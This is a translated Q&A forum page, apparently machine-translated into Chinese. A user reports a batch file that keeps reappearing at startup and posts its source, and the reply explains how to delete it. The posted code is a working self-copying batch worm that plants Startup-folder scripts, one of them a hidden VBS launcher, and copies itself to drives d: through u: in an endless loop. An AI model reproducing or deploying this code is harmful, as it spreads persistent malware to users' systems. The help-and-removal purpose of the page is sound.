2016-05-26 47 views
-1

我在我的電腦驅動器中發現了一個批處理,它在每次啓動時都會執行並顯示一些消息。問題是我無法刪除此文件並且代碼不可編輯這種方式)。每當我刪除這個批處理文件,它再次出現。我應該怎麼做? 的代碼是 -不可刪除和不可編輯的批處理文件

@echo off 

(echo @echo off 

echo color 1a 

echo title @VIRUS = HR 

echo echo danger!! 

echo pause)>"%appdata%\Microsoft\windows\start menu\Programs\Startup\system.bat" 

(echo @echo off 

echo :A 

echo copy /y %appdata%\movie.bat d: 

echo copy /y %appdata%\movie.bat e: 

echo copy /y %appdata%\movie.bat f: 

echo copy /y %appdata%\movie.bat g: 

echo copy /y %appdata%\movie.bat h: 

echo copy /y %appdata%\movie.bat i: 

echo copy /y %appdata%\movie.bat j: 

echo copy /y %appdata%\movie.bat k: 

echo copyta%\ /y %appdata%\movie.bat l: 

echo copy /y %appdata%\movie.bat m: 

echo copy /y %appdata%\movie.bat n: 

echo copy /y %appdata%\movie.bat o: 

echo copy /y %appdata%\movie.bat p: 

echo copy /y %appdata%\movie.bat q: 

echo copy /y %appdata%\movie.bat r: 

echo copy /y %appdata%\movie.bat s: 

echo copy /y %appdata%\movie.bat t: 

echo copy /y %appdata%\movie.bat u: 

echo goto A)>"%appdata%\vol.bat" 

(echo Set WshShell = CreateObject^("WScript.Shell"^) 

echo WshShell.Run chr^(34^) ^& "%appdata%\vol.bat" ^& Chr^(34^), 0 

echo Set WshShell = Nothing) > "%appdata%\Microsoft\windows\start 

menu\Programs\startup\windows.vbs" 

copy movie.bat %appdata% 
+4

1)Off topic here。嘗試[SU]。 2)看起來你有病毒或類似的東西。安裝防病毒軟件。 –

回答

0

這是一個自我複製的批處理文件。

從您的自動啓動文件夾中刪除這兩個文件,以防止再次運行:

del "%appdata%\Microsoft\windows\start menu\Programs\Startup\system.bat" 
del "%appdata%\Microsoft\windows\start menu\Programs\startup\windows.vbs" 

然後重新啓動停止運行實例。

後,從所有驅動器中刪除「movie.bat」的任何發生和

del "%appdata%\vol.bat" 

好消息是,它並沒有損害你的系統。只需要它的信息:「不要運行任何可疑代碼,並明智地選擇你信任的人」